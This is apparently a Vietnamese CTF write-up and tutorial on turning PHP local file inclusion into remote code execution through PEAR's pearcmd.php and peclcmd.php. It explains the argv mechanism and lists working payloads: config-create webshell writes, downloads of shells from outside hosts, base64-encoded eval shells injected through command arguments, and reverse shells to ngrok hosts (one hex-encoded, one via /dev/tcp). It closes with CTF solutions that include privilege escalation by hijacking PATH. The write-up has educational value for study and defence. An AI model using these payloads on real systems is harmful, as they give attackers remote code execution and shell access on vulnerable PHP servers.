PECL (PHP Extension Community Library) là thư viện mở rộng cho ngôn ngữ PHP, cung cấp các extensions, cho phép mở rộng khả năng của PHP bằng các tính năng mới và tích hợp các thư viện.
Điều kiện khai thác
- Thông qua lỗ hổng LFI
- Trong mọi phiên bản Docker image, pecl/pear sẽ mặc định được cài đặt và path là
/usr/local/lib/php
(nằm trong settinginclude_path
). register_argc_argv
được set làon
.
register_argc_argv
Giá trị mặc định này là off
.
Nếu nó được set là on
thì có thể kiểm soát được $_SERVER['argc']
và $_SERVER['argv']
trong code PHP.
Ví dụ:
<?php
var_dump($_SERVER['argv']); var_dump($_SERVER['argc']); // số param
?>
Việc phân tách các tham số dựa trên dấu +
thay vì &
register_argc_argv và pear
$_SERVER['argv']
sẽ trả về tham số cho pear để nó xử lý và thực thi
Ví dụ tạo file config thông qua config-create
bằng pearcmd.php
(cái này khá phổ biến sử dụng để khai thác), sau khi cài thư viện này ta có thể dùng command line (tại thư mục chứa pearcmd.php
):
php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php
Kết quả:
Như đã nói ở trên register_argc_argv
là on
cho phép phân tách các tham số bằng dấu +
. Như vậy command line trên trong request HTTP sẽ như sau (tất nhiên là với điều kiện LFI được):
Kết quả:
Cách thức hoạt động
Refs: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php
là một command line nhưng tại sao nó có thể thực hiện qua HTTP request?
Đó nhờ qua giao thức CGI.
CGI (Common Gateway Interface) là một giao thức chuẩn cho việc tương tác giữa webserver và các ứng dụng trên server, như các ứng dụng CGI hoặc các file chạy command line. CGI được sử dụng để truyền dữ liệu giữa web servervà các ứng dụng hoặc file script và thực hiện các tác vụ dynamic (có param), ví dụ như xử lý form web hoặc tạo nội dung dynamic trên trang web.
RFC3875 quy định rằng nếu query string không chứa ký tự =
chưa được encoded và method là GET
hoặc HEAD
thì query string được sử dụng làm tham số cho command line (mặc dù quy định vậy nhưng khi query string có chứa dấu =
, nó vẫn sẽ được gán cho $_SERVER['argv']
.).
Tiếp theo là việc pear xử lý tham số:
public static function readPHPArgv()
{ global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv'])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) { $msg = "Could not read cmd args (register_argc_argv=Off?)"; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS']['argv']; } return $_SERVER['argv']; } return $argv;
}
Param được lấy ra từ global $argv
, nếu không có thì từ $_SERVER['argv']
, nếu không có nữa thì $GLOBALS['HTTP_SERVER_VARS']['argv']
.
Nói cách khác, điều đó giúp truy cập được các chức năng của pear qua command line dựa vào web để có thể kiểm soát các param của command line đó.
Một số thông số command line của pear:
Nhìn vào dễ dàng thấy có config-create
và để thực hiện nó thì cần 2 param, theo đoạn code xử lý (PEAR/Command/Config.php
):
function doConfigCreate($command, $options, $params)
{ if (count($params) != 2) { return PEAR::raiseError('config-create: must have 2 parameters, root path and ' . 'filename to save as'); } $root = $params[0]; // Clean up the DIRECTORY_SEPARATOR mess $ds2 = DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR; $root = preg_replace(array('!\\\\+!', '!/+!', "!$ds2+!"), array('/', '/', '/'), $root); if ($root[0] != '/') { if (!isset($options['windows'])) { return PEAR::raiseError('Root directory must be an absolute path beginning ' . 'with "/", was: "' . $root . '"'); } if (!preg_match('/^[A-Za-z]:/', $root)) { return PEAR::raiseError('Root directory must be an absolute path beginning ' . 'with "\\" or "C:\\", was: "' . $root . '"'); } } $windows = isset($options['windows']); if ($windows) { $root = str_replace('/', '\\', $root); } if (!file_exists($params[1]) && !@touch($params[1])) { return PEAR::raiseError('Could not create "' . $params[1] . '"'); } $params[1] = realpath($params[1]); $config = new PEAR_Config($params[1], '#no#system#config#', false, false); if ($root[strlen($root) - 1] == '/') { $root = substr($root, 0, strlen($root) - 1); } $config->noRegistry(); $config->set('php_dir', $windows ? "$root\\pear\\php" : "$root/pear/php", 'user'); $config->set('data_dir', $windows ? "$root\\pear\\data" : "$root/pear/data"); $config->set('www_dir', $windows ? "$root\\pear\\www" : "$root/pear/www"); $config->set('cfg_dir', $windows ? "$root\\pear\\cfg" : "$root/pear/cfg"); $config->set('ext_dir', $windows ? "$root\\pear\\ext" : "$root/pear/ext"); $config->set('doc_dir', $windows ? "$root\\pear\\docs" : "$root/pear/docs"); $config->set('test_dir', $windows ? "$root\\pear\\tests" : "$root/pear/tests"); $config->set('cache_dir', $windows ? "$root\\pear\\cache" : "$root/pear/cache"); $config->set('download_dir', $windows ? "$root\\pear\\download" : "$root/pear/download"); $config->set('temp_dir', $windows ? "$root\\pear\\temp" : "$root/pear/temp"); $config->set('bin_dir', $windows ? "$root\\pear" : "$root/pear"); $config->set('man_dir', $windows ? "$root\\pear\\man" : "$root/pear/man"); $config->writeConfigFile(); $this->_showConfig($config); $this->ui->outputData('Successfully created default configuration file "' . $params[1] . '"', $command);
}
Cụ thể hơn, đoạn code trên đã thực hiện:
- Kiểm tra param (nhận vào 2 param root path và filename để lưu).
- Chuẩn hóa root path (liên quan về xử lý
\
và/
) - Kiểm tra xem filename (param thứ 2) xem tồn tại chưa, sau đó tạo file config.
- Thiết lập các giá trị thư mục trong file config.
- Ghi cấu hình (
$config->writeConfigFile();
) - Hiển thị kết quả.
Một vài payloads khác
Ref: https://github.com/w181496/Web-CTF-Cheatsheet#pear
1. Ghi file
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php
(đây là payload phổ biến nhất) Không chỉ cóconfig-create
màman_dir
,download
,channel-discover
cũng có thể ghi file./?+-c+/tmp/shell.php+-d+man_dir=<?phpinfo();?>/*+-s+list&file=/usr/local/lib/php/pearcmd.php
/?+download+https://kaibro.tw/shell.php+&file=/usr/local/lib/php/pearcmd.php
(cái này sẽ không chỉ định thư mục tải về và nó sẽ lưu với tênshell.php
tại thư mục hiện tại và điều này sẽ bị hạn chế về quyền)/?+channel-discover+kaibro.tw/302.php?&file=/usr/local/lib/php/pearcmd.php
(tương tự trên nhưng sẽ bị hạn chế việc connection)
2. Install package
Payloads:
/?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php
Cách này sẽ down về folder và path hơi loằng ngoằng:
3. Command Injection
/?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14
/?+bundle+-d+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/+/tmp/other/tmp/pear/download/Archive_Tar-1.4.14.tgz+&file=/usr/local/lib/php/pearcmd.php&
/?+svntag+/tmp/;echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMF0pOyA/Pg==%7Cbase64${IFS}-d>/tmp/hello-0daysober.php;/Archive_Tar+&file=/usr/local/lib/php/pearcmd.php&
(3 cái trên không biết đã fix ở bản nào chưa vì test không được 😥)
4. Command injection 2
run-tests
Như cái tên thì nó có chức năng chạy thử 1 package của pear. flag -i
như ở trên áp dụng setting của file php.ini
. Tuy nhiên giá trị được nối chuỗi trực tiếp vào command dẫn đến lỗ hổng command injection:
PEAR/RunTest.php
(nó là biến $ini_settings
):
function run($file, $ini_settings = array(), $test_number = 1)
{ ... $args = $section_text['ARGS'] ? ' -- '.$section_text['ARGS'] : ''; $cmd = $this->_preparePhpBin($this->_php, $temp_file, $ini_settings); $cmd.= "$args 2>&1";
} function _preparePhpBin($php, $file, $ini_settings)
{ $file = escapeshellarg($file); $cmd = $php . $ini_settings . ' -f ' . $file; return $cmd;
}
Quay trở lại -i
giá trị của nó ta sẽ dùng -r "codephp"
(php cli).
Một thứ nữa là cần file để run test: .phpt
và nó có trong /usr/local/lib/php/test/Console_Getopt/tests/
Việc search file find / -name "*.phpt"
để tìm
Payload sẽ hạn chế việc dùng space (tránh escape lung tung):
- command line:
php peclcmd.php run-tests -i "-r\"system(hex2bin('736C6565702035'));\"" /usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
- payload:
/?page=../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('PAYLOAD'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
Vài bài CTF
Trong thời điểm diễn ra các bài CTF như ở dưới, tất nhiên là sẽ chưa xuất hiện các payloads như ở trên nên khá khó khai thác. Nói chung thì các payloads ở trên đã tổng hợp được từ các bài CTF cho tới nay.
2linephp - Balsn CTF 2021
Phân tích source:
<?php ($_=@implode($_GET)) && (stripos($_,"zip") !== FALSE || stripos($_,"p:") || stripos($_,"s:")) && die("Bad hacker!");
($_=@$_GET['kaibro'].'.php') && @substr(file($_)[0],0,5) === '<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.php');
Dòng đầu tiên:
implode($_GET)
dùng để chuyển mảng$_GET
thành chuỗi lưu vào biến$_
stripos
được sử dụng để chặn các từ khóazip
,p:
,s:
của các biến$_GET
.
Dòng thứ 2:
- Tạo ra 1 tên file từ param
kaibro
nối với extensionphp
lưu vào$_
. Ở đây, param không được xử lý dẫn đến việc xảy ra lỗ hổng LFI. substr(file($_)[0],0,5)
lấy ra 5 ký tự đầu tiên của dòng thứ nhất của file đó, nếu là<?php
thì thực hiệninclude()
file đó không thì làphpinfo.php
.
=> Như vậy đây là bài toán LFI nhưng chỉ include được file php. Đồng thời bài cho thông tin qua phpinfo()
, ta có thể tìm kiếm vài thông tin để khai thác:
pearcmd.php
sẽ nằm trong path:
Tuy nhiên mấu chốt của bài này là việc include file shell phải chứa <?php
ở đầu, nếu sử dụng payload thông thường như config-create sẽ bị hạn chế. Ta bypass bằng cách:
/?+install+--force+--installroot+/tmp/abc+https://223e-27-72-137-31.ngrok-free.app/sh.php+?&kaibro=/usr/local/lib/php/pearcmd
hoặc là:
Khi đó file sh.php
sẽ ở /tmp/abc/tmp/pear/download/sh.php
Hoặc:
/?+channel-discover+223e-27-72-137-31.ngrok-free.app/sh.php?&kaibro=/usr/local/lib/php/pearcmd
và file sh.php
nằm ở /tmp/pear/temp
:
readonly - SEETF-2023
Bài này là dạng command injection như ở trên
Lỗ hổng LFI:
payload:
/?page=../../../../../usr/local/lib/php/peclcmd.php&+run-tests+-i+-r"system(hex2bin('62617368202d63202262617368202d69203e26202f6465762f7463702f746370302e7463702e61702e6e67726f6b2e696f2f313432333220303e263122'));"+/usr/local/lib/php/test/Console_Getopt/tests/bug11068.phpt
(62617368202...
là reverse shel)
filestore - ångstromCTF 2023
Source:
<?php if($_SERVER['REQUEST_METHOD'] == "POST"){ if ($_FILES["f"]["size"] > 1000) { echo "file too large"; return; } $i = uniqid(); if (empty($_FILES["f"])){ return; } if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $i . "_" . hash('sha256', $_FILES["f"]["name"]) . "_" . $_FILES["f"]["name"])){ echo "upload success"; } else { echo "upload error"; } } else { if (isset($_GET["f"])) { include "./uploads/" . $_GET["f"]; } highlight_file("index.php"); // this doesn't work, so I'm commenting it out 😛 // system("/list_uploads"); }
?>
Bài có chức năng upload file, tuy nhiên file upload có tên random => không thể kiểm soát được.
Thêm nữa include "./uploads/" . $_GET["f"];
- lỗ hổng LFI.
Ngoài ra bài cho 2 file binary, khi bỏ vào IDA ta biết được:
-
list_uploads
File này có chức năng thực thi
ls
để list ra hết trong/var/www/html/uploads
TheoDockerfile
:RUN chown admin:admin /list_uploads &&\ chmod 111 /list_uploads &&\ chmod g+s /list_uploads
-
make_abyss_entry
Theo
Dockerfile
:COPY make_abyss_entry /make_abyss_entry RUN chown root:root /make_abyss_entry &&\ chmod 111 /make_abyss_entry &&\ chmod g+s /make_abyss_entry ... RUN mkdir /abyss &&\ chown -R root:root /abyss &&\ chmod -R 331 /abyss
Thường thì ở các bài LFI, mình thường nghĩ đến pearcmd.php
sau cùng, mà thôi vì làm lại nên tập trung vào nó luôn:
Payload:
/?+config-create+/&f=../../../../../usr/local/lib/php/pearcmd.php&/<?=system($_GET[0])?>+/tmp/shell.php
RCE:
Để dễ dàng khai thác tiếp ta dùng reverse shell:
/?f=../../../../tmp/shell.php&0=bash+-c+'sh+-i+>%26+/dev/tcp/tcp0.tcp.ap.ngrok.io/16600+0>%261'
Leo thang đặc quyền: Quay trở lại 2 file binary lúc đầu.
Ý tưởng bài này là sử dụng PATH (bởi vì nếu thử các cách kia thì không được 😐).
Nhớ lại file list_uploads
sẽ thực thi command: ls /var/www/html/uploads
Ta sẽ ghi đè ls
, ví dụ như cat /flag.txt;ls
Để ý /make_abyss_entry
tạo ra thư mục có tên random trong /abyss
nhằm mục đích tạo file ls
ở trong đó (thật ra cũng có nhiều người tạo trong /tmp
).
Trong Dockerfile
:
RUN rm -f /bin/chmod /usr/bin/chmod /bin/chown /usr/bin/chown
Như vậy không thể cấp quyền cho ls
, ta bypass bằng cách dùng perl
:
perl -e "chmod 0755,'file'"
Khai thác:
Solution này mình đọc từ bài viết của anh @devme4f, cũng có vài cách khác thì cũng khá tương tự nhưng cách này dễ hiểu và đơn giản hơn.